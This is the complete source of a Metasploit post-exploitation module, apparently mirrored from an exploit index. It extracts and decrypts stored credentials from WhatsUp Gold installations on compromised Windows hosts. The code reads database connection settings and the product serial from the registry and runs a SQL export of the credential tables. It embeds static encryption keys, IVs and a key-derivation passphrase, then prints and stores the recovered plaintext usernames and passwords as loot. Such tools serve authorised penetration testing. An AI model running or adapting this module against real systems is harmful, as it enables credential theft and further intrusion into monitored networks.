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## https://sploitus.com/exploit?id=MSF:POST-WINDOWS-GATHER-CREDENTIALS-WHATSUPGOLD_CREDENTIAL_DUMP-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::MSSQL
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Registry
Rank = ManualRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WhatsUp Gold Credentials Dump',
'Description' => %q{
This module exports and decrypts credentials from WhatsUp Gold to a CSV file;
it is intended as a post-exploitation module for Windows hosts with WhatsUp
Gold installed. The module has been tested on and can successfully decrypt
credentials from WhatsUp versions 11.0 to the latest (22.x). Extracted
credentials are automatically added to loot.
},
'Author' => [
'sshah[at]assetnote.io', # original research
'npm[at]cesium137.io' # additional research and module
],
'Platform' => [ 'win' ],
'DisclosureDate' => '2022-11-22',
'SessionTypes' => [ 'meterpreter' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2022-29845' ],
[ 'CVE', '2022-29846' ],
[ 'CVE', '2022-29847' ],
[ 'CVE', '2022-29848' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29845' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29846' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29847' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29848' ],
[ 'URL', 'https://blog.assetnote.io/2022/06/09/whatsup-gold-exploit/' ]
],
'Actions' => [
[
'Dump',
{
'Description' => 'Export WhatsUp Gold database and perform decryption'
}
],
[
'Export',
{
'Description' => 'Export WhatsUp Gold database without decryption'
}
],
[
'Decrypt',
{
'Description' => 'Decrypt WhatsUp Gold database export CSV file'
}
]
],
'DefaultAction' => 'Dump',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Privileged' => false
)
)
register_advanced_options([
OptPath.new('CSV_FILE', [ false, 'Path to database export CSV file if using the decrypt action' ]),
OptString.new('AES_SALT', [ false, 'WhatsUp Gold AES-256 encryption key salt (serial number)' ]),
OptString.new('MSSQL_INSTANCE', [ false, 'The MSSQL instance path' ]),
OptString.new('MSSQL_DB', [ false, 'The MSSQL database name' ])
])
end
def export_header_row
'nCredentialTypeID,DisplayName,Description,Username,Password'
end
def result_header_row
'nCredentialTypeID,DisplayName,Description,Username,Password,Method'
end
def wug?
@wug_build && @wug_build > ::Rex::Version.new('0')
end
def x64?
sysinfo['Architecture'] == ARCH_X64
end
def run
init_module
current_action = action.name.downcase
if current_action == 'export' || current_action == 'dump'
print_status('Performing export of WhatsUp Gold SQL database to CSV file')
wug_encrypted_csv_file = export
print_good("Encrypted WhatsUp Gold Database Dump: #{wug_encrypted_csv_file}")
end
if current_action == 'decrypt' || current_action == 'dump'
wug_encrypted_csv_file ||= datastore['CSV_FILE']
fail_with(Msf::Exploit::Failure::BadConfig, 'You must set CSV_FILE advanced option') if wug_encrypted_csv_file.nil?
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid WUG CSV input file') unless ::File.file?(wug_encrypted_csv_file)
print_status('Performing decryption of WhatsUp Gold SQL database')
wug_decrypted_csv_file = decrypt(wug_encrypted_csv_file)
print_good("Decrypted WhatsUp Gold Database Dump: #{wug_decrypted_csv_file}")
end
end
def export
csv = dump_wug_db
print_good("#{csv.count} WUG rows exported, #{@wug_total_secrets} unique nCredentialTypeIDs")
encrypted_data = csv.to_s.delete("\000")
store_loot('whatsup_gold_enc', 'text/csv', rhost, encrypted_data, "#{@wug_db_name}.csv", 'Encrypted WUG Database Dump')
end
def decrypt(csv_file)
csv = read_csv_file(csv_file)
print_good("#{csv.count} WUG rows loaded, #{@wug_total_secrets} unique nCredentialTypeIDs")
result = decrypt_wug_db(csv)
processed_rows = result[:processed_rows]
blank_rows = result[:blank_rows]
decrypted_rows = result[:decrypted_rows]
plaintext_rows = result[:plaintext_rows]
failed_rows = result[:failed_rows]
result_rows = result[:result_csv]
fail_with(Msf::Exploit::Failure::Unknown, 'Failed to decrypt WUG CSV dataset') unless result_rows
total_result_rows = result_rows.count - 1 # Do not count header row
total_result_secrets = result_rows['nCredentialTypeID'].uniq.count - 1
if processed_rows == failed_rows || total_result_rows <= 0
fail_with(Msf::Exploit::Failure::NoTarget, 'No rows could be processed')
elsif failed_rows > 0
print_warning("#{processed_rows} WUG rows processed (#{failed_rows} rows failed)")
else
print_good("#{processed_rows} WUG rows processed")
end
total_records = decrypted_rows + plaintext_rows
print_status("#{total_records} rows recovered: #{plaintext_rows} plaintext, #{decrypted_rows} decrypted (#{blank_rows} blank)")
decrypted_data = result_rows.to_s.delete("\000")
print_status("#{total_result_rows} rows written (#{blank_rows} blank rows withheld)")
print_good("#{total_result_secrets} unique WUG nCredentialTypeID records recovered")
plunder(result_rows)
store_loot('whatsup_gold_dec', 'text/csv', rhost, decrypted_data, "#{@wug_db_name}.csv", 'Decrypted WUG Database Dump')
end
def dump_wug_db
sql_query = "SET NOCOUNT ON;
SELECT
ct.nCredentialTypeID nCredentialTypeID,
CONVERT(VARBINARY(1024),ct.sDisplayName) DisplayName,
CONVERT(VARBINARY(1024),ct.sDescription) Description,
CONVERT(VARBINARY(1024),ctd.sName) Username,
CONVERT(VARBINARY(4096),ctd.sValue) Password
FROM
[dbo].[CredentialType] AS ct
JOIN
[dbo].[CredentialTypeData] AS ctd ON(ct.nCredentialTypeID=ctd.nCredentialTypeID)
WHERE
ctd.sValue IS NOT NULL AND ctd.sValue NOT LIKE ''"
sql_cmd = sql_prepare(sql_query)
print_status('Export WhatsUp Gold DB ...')
query_result = cmd_exec(sql_cmd)
fail_with(Msf::Exploit::Failure::Unknown, query_result) if query_result.downcase.start_with?('sqlcmd: ') || query_result.downcase.start_with?('msg ')
csv = ::CSV.parse(query_result.gsub("\r", ''), row_sep: :auto, headers: export_header_row, quote_char: "\x00", skip_blanks: true)
fail_with(Msf::Exploit::Failure::Unknown, 'Error parsing WUG SQL dataset into CSV format') unless csv
@wug_total_secrets = csv['nCredentialTypeID'].uniq.count
fail_with(Msf::Exploit::Failure::Unknown, 'WUG SQL dataset contains no nCredentialTypeID column values') unless @wug_total_secrets >= 1 && !csv['nCredentialTypeID'].uniq.first.nil?
csv
end
def decrypt_wug_db(csv_dataset)
current_row = 0
decrypted_rows = 0
plaintext_rows = 0
blank_rows = 0
failed_rows = 0
result_csv = ::CSV.parse(result_header_row, headers: :first_row, write_headers: true, return_headers: true)
print_status('Process WhatsUp Gold DB ...')
csv_dataset.each do |row|
current_row += 1
credential_id = row['nCredentialTypeID']
if credential_id.nil? || credential_id.to_i < 1
failed_rows += 1
print_error("Row #{current_row} missing nCredentialTypeID column, skipping")
next
end
secret_displayname = [row['DisplayName'][2..]].pack('H*').delete("\000")
secret_description = [row['Description'][2..]].pack('H*').delete("\000")
secret_username = [row['Username'][2..]].pack('H*').delete("\000")
secret_ciphertext = [row['Password'][2..]].pack('H*').delete("\000")
if secret_ciphertext.nil?
vprint_warning("nCredentialTypeID #{credential_id} Password column nil, excluding")
blank_rows += 1
next
elsif [ '1,0,0,0,', '2,0,0,0,', '3,0,0,0,' ].any? { |prefix| secret_ciphertext.start_with?(prefix) }
plaintext = wug_decrypt(secret_ciphertext)
secret_plaintext = plaintext['Plaintext'] if plaintext.key?('Plaintext')
secret_disposition = plaintext['Method'] if plaintext.key?('Method')
decrypted_rows += 1
else
secret_plaintext = secret_ciphertext
secret_disposition = 'Plaintext'
plaintext_rows += 1
end
if secret_plaintext.blank?
vprint_warning("nCredentialTypeID #{credential_id} field '#{secret_username}' decrypted plaintext nil, excluding")
blank_rows += 1
next
end
unless secret_plaintext
print_error("nCredentialTypeID #{credential_id} field '#{secret_username}' failed to decrypt")
vprint_error(row.to_s)
failed_rows += 1
next
end
result_line = [credential_id.to_s, secret_displayname.to_s, secret_description.to_s, secret_username.to_s, secret_plaintext.to_s, secret_disposition.to_s]
result_row = ::CSV.parse_line(CSV.generate_line(result_line).gsub("\r", ''))
result_csv << result_row
vprint_status("nCredentialTypeID #{credential_id} field '#{secret_username}' plaintext recovered: #{secret_plaintext} (#{secret_disposition})")
end
{
processed_rows: current_row,
blank_rows: blank_rows,
decrypted_rows: decrypted_rows,
plaintext_rows: plaintext_rows,
failed_rows: failed_rows,
result_csv: result_csv
}
end
def init_module
wug_hostname = get_env('COMPUTERNAME')
print_status("Hostname #{wug_hostname} IPv4 #{rhost}")
current_action = action.name.downcase
require_sql = current_action == 'export' || current_action == 'dump'
get_wug_version
fail_with(Msf::Exploit::Failure::NoTarget, 'Target application not detected') unless wug? || current_action == 'decrypt'
init_wug_encryption
if require_sql
init_wug_db
get_sql_client
fail_with(Msf::Exploit::Failure::BadConfig, 'Unable to identify sqlcmd SQL client on target host') unless @sql_client == 'sqlcmd'
vprint_good("Found SQL client: #{@sql_client}")
end
end
def read_csv_file(file_name)
fail_with(Msf::Exploit::Failure::NoTarget, "CSV file #{file_name} not found") unless ::File.file?(file_name)
csv_rows = ::File.binread(file_name)
csv = ::CSV.parse(
csv_rows.gsub("\r", ''),
row_sep: :auto,
headers: :first_row,
quote_char: "\x00",
skip_blanks: true,
header_converters: ->(f) { f.strip },
converters: ->(f) { f ? f.strip : nil }
)
fail_with(Msf::Exploit::Failure::NoTarget, "Error importing CSV file #{file_name}") unless csv
@wug_total_secrets = csv['nCredentialTypeID'].uniq.count
unless @wug_total_secrets >= 1 && !csv['nCredentialTypeID'].uniq.first.nil?
fail_with(Msf::Exploit::Failure::NoTarget, "Provided CSV file #{file_name} contains no nCredentialTypeID column values")
end
csv
end
def get_wug_version
target_key = nil
if x64?
reg_keys = [
'HKLM\\SOFTWARE\\WOW6432Node\\Ipswitch\\Network Monitor\\WhatsUp Gold\\Setup',
'HKLM\\SOFTWARE\\WOW6432Node\\Ipswitch\\Network Monitor\\WhatsUp Professional\\2007\\Setup'
]
else
reg_keys = [
'HKLM\\SOFTWARE\\Ipswitch\\Network Monitor\\WhatsUp Gold\\Setup',
'HKLM\\SOFTWARE\\Ipswitch\\Network Monitor\\WhatsUp Professional\\2007\\Setup'
]
end
reg_keys.each do |reg_key|
if registry_key_exist?(reg_key)
target_key = reg_key
break
end
end
if target_key.nil?
print_error('Unable to locate WhatsUp Gold Setup key in registry')
@wug_build = nil
return nil
end
wug_version = registry_getvaldata(target_key, 'Version').to_s
if wug_version.nil? || wug_version.empty?
print_error('WhatsUp Gold does not appear to be installed')
@wug_build = nil
return nil
end
@wug_build = ::Rex::Version.new(wug_version)
if wug?
print_status("WhatsUp Gold Build #{@wug_build}")
else
print_error('Error determining WhatsUp Gold version')
@wug_build = nil
end
end
def sql_prepare(sql_query)
if @wug_db_integrated_auth
sql_cmd_pre = "\"#{@wug_db_name}\" -S #{@wug_db_instance_path} -E"
else
sql_cmd_pre = "\"#{@wug_db_name}\" -S #{@wug_db_instance_path} -U \"#{@wug_db_user}\" -P \"#{@wug_db_pass}\""
end
"#{@sql_client} -d #{sql_cmd_pre} -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I".gsub("\r", '').gsub("\n", '')
end
def init_wug_db
print_status('Init WhatsUp Gold SQL ...')
if datastore['MSSQL_INSTANCE'] && datastore['MSSQL_DB']
print_status('MSSQL_INSTANCE and MSSQL_DB advanced options set, connect to SQL using SSPI')
db_instance_path = datastore['MSSQL_INSTANCE']
db_name = datastore['MSSQL_DB']
db_auth = 'true'
else
db_conf = get_wug_database_config
db_instance_path = db_conf['SERVER']
db_name = db_conf['INITIAL CATALOG']
db_auth = db_conf['INTEGRATED SECURITY']
end
if db_instance_path.nil? || db_name.nil?
fail_with(Msf::Exploit::Failure::BadConfig, 'Failed to recover database parameters from registry')
end
@wug_db_instance_path = db_instance_path
@wug_db_name = db_name
@wug_db_integrated_auth = false
print_good('WhatsUp Gold SQL Database Connection Configuration:')
print_good("\tInstance Name: #{@wug_db_instance_path}")
print_good("\tDatabase Name: #{@wug_db_name}")
if !db_auth.nil? && (db_auth.downcase == 'true' || db_auth.downcase == 'sspi')
@wug_db_integrated_auth = true
print_good("\tDatabase User: (Windows Integrated)")
print_warning('The database uses Windows authentication')
print_warning('Session identity must have access to the SQL server instance to proceed')
else
db_user = db_conf['USER ID']
db_pass = db_conf['PASSWORD']
@wug_db_user = db_user
@wug_db_pass = db_pass
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 1433,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: @wug_db_instance_path
}
store_valid_credential(user: @wug_db_user, private: @wug_db_pass, service_data: extra_service_data)
print_good("\tDatabase User: #{@wug_db_user}")
print_good("\tDatabase Pass: #{@wug_db_pass}")
end
end
def get_wug_database_config
db_str = nil
target_key = nil
if x64?
reg_keys = [
'HKLM\\SOFTWARE\\WOW6432Node\\Ipswitch\\Network Monitor\\WhatsUp Engine\\Database Settings',
'HKLM\\SOFTWARE\\WOW6432Node\\Ipswitch\\Network Monitor\\WhatsUp Engine\\2007\\Database Settings'
]
else
reg_keys = [
'HKLM\\SOFTWARE\\Ipswitch\\Network Monitor\\WhatsUp Engine\\Database Settings',
'HKLM\\SOFTWARE\\Ipswitch\\Network Monitor\\WhatsUp Engine\\2007\\Database Settings'
]
end
reg_keys.each do |reg_key|
if registry_key_exist?(reg_key)
target_key = reg_key
break
end
end
fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to locate WUG Database Settings in registry') if target_key.nil?
reg_values = [
'DataSource',
'DataSource_WhatsUp'
]
reg_values.each do |reg_value|
break if (db_str = registry_getvaldata(target_key, reg_value, REGISTRY_VIEW_32_BIT).to_s.delete("\000"))
end
if db_str.nil? || db_str.empty?
wug_dsn_str = registry_getvaldata(target_key, 'DSN', REGISTRY_VIEW_32_BIT).to_s.delete("\000")
wug_dsn = wug_dsn_str.split('=')[1]
dsn_reg_key = "HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{wug_dsn}"
res = parse_odbc_dsn(dsn_reg_key)
else
res = parse_conn_str(db_str)
end
fail_with(Msf::Exploit::Failure::NoTarget, 'Could not parse database connection string') if res.nil?
if (res.key?('INTEGRATED SECURITY') && res['INTEGRATED SECURITY'].downcase == 'false') || !res.key?('INTEGRATED SECURITY')
mssql_login = registry_getvaldata(target_key, 'Username').to_s.delete("\000")
mssql_pass_enc = registry_getvaldata(target_key, 'Password').unpack('C*').join(',')
mssql_pass_plaintext = wug_decrypt(mssql_pass_enc)
mssql_pass = mssql_pass_plaintext['Plaintext'] if mssql_pass_plaintext.key?('Plaintext')
fail_with(Msf::Exploit::Failure::NoTarget, 'Failed to decrypt WUG SQL login credential') if mssql_login.empty? && mssql_pass.nil?
res['USER ID'] = mssql_login
res['PASSWORD'] = mssql_pass
end
fail_with(Msf::Exploit::Failure::NoTarget, 'Failed to extract WUG SQL native login credential') unless res.count.positive?
res
end
def parse_odbc_dsn(dsn_reg_key)
return nil unless registry_key_exist?(dsn_reg_key)
res = {}
wug_server = registry_getvaldata(dsn_reg_key, 'Server').to_s.delete("\000")
wug_db = registry_getvaldata(dsn_reg_key, 'Database').to_s.delete("\000")
wug_auth = registry_getvaldata(dsn_reg_key, 'Trusted_Connection').to_s.delete("\000").downcase
res['SERVER'] = wug_server unless wug_server.empty?
res['INITIAL CATALOG'] = wug_db unless wug_db.empty?
if wug_auth == 'yes'
res['INTEGRATED SECURITY'] = 'true'
else
res['INTEGRATED SECURITY'] = 'false'
end
res
end
def parse_conn_str(db_str)
res = {}
db_connection_elements = db_str.split(';')
db_connection_elements.each do |element|
pair = element.to_s.split('=', 2)
k = pair[0]
v = pair[1]
res[k.upcase] = v
end
res
end
def init_wug_encryption
print_status('Init WhatsUp Gold crypto ...')
# Static RC2-40 key "salted" with 11 bytes of 0x00 - looking at you, wincrypt.h
@wug_rc2_key = ['112cc5a60c0000000000000000000000'].pack('H*')
# Static AES256 key and IV derived from burned-in salt value 0x1529e3cf33795488
@wug_aes256_key_legacy = ['5d08302a24693e074781136f12dafd9c4a41c59ce266ffa0953497cbda40ef2a'].pack('H*')
@wug_aes256_iv_legacy = ['7d41af8fee4d2676391460f2870caea1'].pack('H*')
# Dynamic AES256 key and IV derived from product serial number
salt_str = datastore['AES_SALT'] if datastore.key?('AES_SALT')
if salt_str
unless salt_str.match?(/[A-Z0-9]+/)
fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid serial number in AES_SALT advanced option')
end
print_status("Using advanced option value '#{salt_str}' to derive AES256 dynamic encryption key and IV")
wug_salt_from_serial(salt_str)
else
wug_get_salt_value
end
if @wug_salt
vprint_status('Compose modern AES256 key and IV ...')
keys_modern = wug_compose_key(@wug_salt)
@wug_aes256_key_modern = keys_modern[:aes_key]
@wug_aes256_iv_modern = keys_modern[:aes_iv]
aes256_modern_key_hex = @wug_aes256_key_modern.unpack('H*').first.to_s.upcase
aes256_modern_iv_hex = @wug_aes256_iv_modern.unpack('H*').first.to_s.upcase
add_aes_loot('WhatsUp Gold Composed AES256', aes256_modern_key_hex, aes256_modern_iv_hex)
else
print_warning('Could not extract dynamic encryption salt; type 3 ciphertext will not be decrypted')
end
end
def wug_salt_from_serial(salt_str, store_loot: false)
@wug_salt = wug_sha256_salt(salt_str, 8)
wug_salt_hex = @wug_salt.unpack('H*').first.to_s.upcase
print_good('WhatsUp Gold Dynamic Encryption Salt')
print_good("\tHEX: #{wug_salt_hex}")
if store_loot
store_valid_credential(user: 'WhatsUp Gold Dynamic Encryption Salt', private: wug_salt_hex, private_type: :nonreplayable_hash)
end
end
def wug_get_salt_value
vprint_status('Get WhatsUp Gold dynamic salt from registry ...')
reg_key = (x64? ? 'HKLM\\SOFTWARE\\WOW6432Node\\Ipswitch\\Network Monitor\\WhatsUp Gold' : 'HKLM\\SOFTWARE\\Ipswitch\\Network Monitor\\WhatsUp Gold')
unless registry_key_exist?(reg_key)
vprint_warning('Could not locate WhatsUp Gold registry key')
return nil
end
salt_str = registry_getvaldata(reg_key, 'SerialNumber').to_s.delete("\000")
if salt_str.blank?
vprint_warning('Could not read SerialNumber from registry')
return nil
end
print_good("WhatsUp Gold Serial Number: #{salt_str}")
wug_salt_from_serial(salt_str, store_loot: true)
end
def wug_sha256_salt(salt, size)
sha256 = ::OpenSSL::Digest.new('SHA256')
sha256.digest(salt).unpack('C*')[0..(size - 1)].pack('C*')
end
def wug_compose_key(salt)
passphrase = 'neo9ej#0!kb-YqX7^$z?@Id]_!,k9%;a}br549'
iterations = 15
sha1 = ::OpenSSL::Digest.new('SHA1')
k1 = passphrase + salt
hash = sha1.digest(k1)
i1 = 1
while i1 < iterations
hash = sha1.digest(hash)
i1 += 1
end
bytes = hash
while bytes.length < 48
k2 = hash + passphrase + salt
hash = sha1.digest(k2)
i2 = 1
while i2 < iterations
hash = sha1.digest(hash)
i2 += 1
end
bytes += hash
end
{ aes_key: bytes[0..31], aes_iv: bytes[32..47] }
end
def wug_decrypt(row)
ciphertext_row = wug_parse_row(row)
enc_type = ciphertext_row['enc_type']
ciphertext_bytes = ciphertext_row['ciphertext']
case enc_type
when 1 # Static RC2-40-CBC
plaintext = rc2_cbc_decrypt(ciphertext_bytes, @wug_rc2_key)
return { 'Plaintext' => plaintext, 'Method' => 'Legacy' }
when 2 # Static AES-256-CBC
aes_key = @wug_aes256_key_legacy
aes_iv = @wug_aes256_iv_legacy
disposition = 'Aes256AndDefaultSalt'
when 3 # Derived AES-256-CBC
unless @wug_aes256_key_modern && @wug_aes256_iv_modern
print_warning('Type 3 ciphertext encountered and no dynamic salt available, cannot decrypt')
vprint_warning("Ciphertext: #{row}")
return nil
end
aes_key = @wug_aes256_key_modern
aes_iv = @wug_aes256_iv_modern
disposition = 'Aes256AndDynamicSalt'
else
return nil
end
plaintext = aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv)
{ 'Plaintext' => plaintext, 'Method' => disposition }
end
def wug_parse_row(ciphertext_row)
ciphertext_chars = ciphertext_row.split(',')
enc_type = ciphertext_chars[0].to_i
ciphertext_len = ciphertext_chars[4].to_i
ciphertext_array = ciphertext_chars[8..(ciphertext_len + 8)]
ciphertext = ciphertext_array.map(&:to_i).pack('C*')
{
'enc_type' => enc_type,
'ciphertext_length' => ciphertext_len,
'ciphertext' => ciphertext
}
end
def aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv)
return nil unless aes_key.length == 32 && aes_iv.length == 16
decipher = ::OpenSSL::Cipher.new('aes-256-cbc')
decipher.decrypt
decipher.key = aes_key
decipher.iv = aes_iv
decipher.padding = 1
(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
rescue OpenSSL::Cipher::CipherError
return nil
end
def rc2_cbc_decrypt(ciphertext_bytes, rc2_key)
return nil unless rc2_key.length == 16
decipher = ::OpenSSL::Cipher.new('rc2-40-cbc')
decipher.decrypt
decipher.padding = 1
decipher.key_len = 16
decipher.key = rc2_key
(decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
rescue OpenSSL::Cipher::CipherError
return nil
end
def add_aes_loot(key_desc, key_hex, iv_hex)
key_name = "#{key_desc} key"
iv_name = "#{key_desc} IV"
print_good(key_desc)
print_good("\tKEY: #{key_hex}")
print_good("\t IV: #{iv_hex}")
store_valid_credential(user: key_name, private: key_hex, private_type: :nonreplayable_hash)
store_valid_credential(user: iv_name, private: iv_hex, private_type: :nonreplayable_hash)
end
def plunder(rowset)
rowset.each_with_index do |row, idx|
next if idx == 0 # Skip header row
loot_user_col = row['Username'].split(':')
loot_payload = row['Password']
cred_type = loot_user_col[0]
user_type = loot_user_col[1]
next unless loot_payload && (user_type.downcase == 'domainanduserid' || user_type.downcase == 'username')
row_id = row['nCredentialTypeID']
loot_user = loot_payload
loot_desc = row['DisplayName']
pass_col_name = "#{cred_type}:Password"
search_criteria = { 'nCredentialTypeID' => row_id, 'Username' => pass_col_name }
matches = rowset.find_all do |cred|
match = true
search_criteria.each_key do |key|
match &&= (cred[key] == search_criteria[key])
end
match
end
next unless matches.first
loot_pass = matches.first['Password']
next unless loot_pass
extra_service_data = {
address: Rex::Socket.getaddress(rhost),
port: 443,
service_name: 'https',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: loot_desc
}
store_valid_credential(user: loot_user, private: loot_pass, service_data: extra_service_data)
print_good("Recovered Credential: #{loot_desc}")
print_good("\tL: #{loot_user}")
print_good("\tP: #{loot_pass}")
end
end
end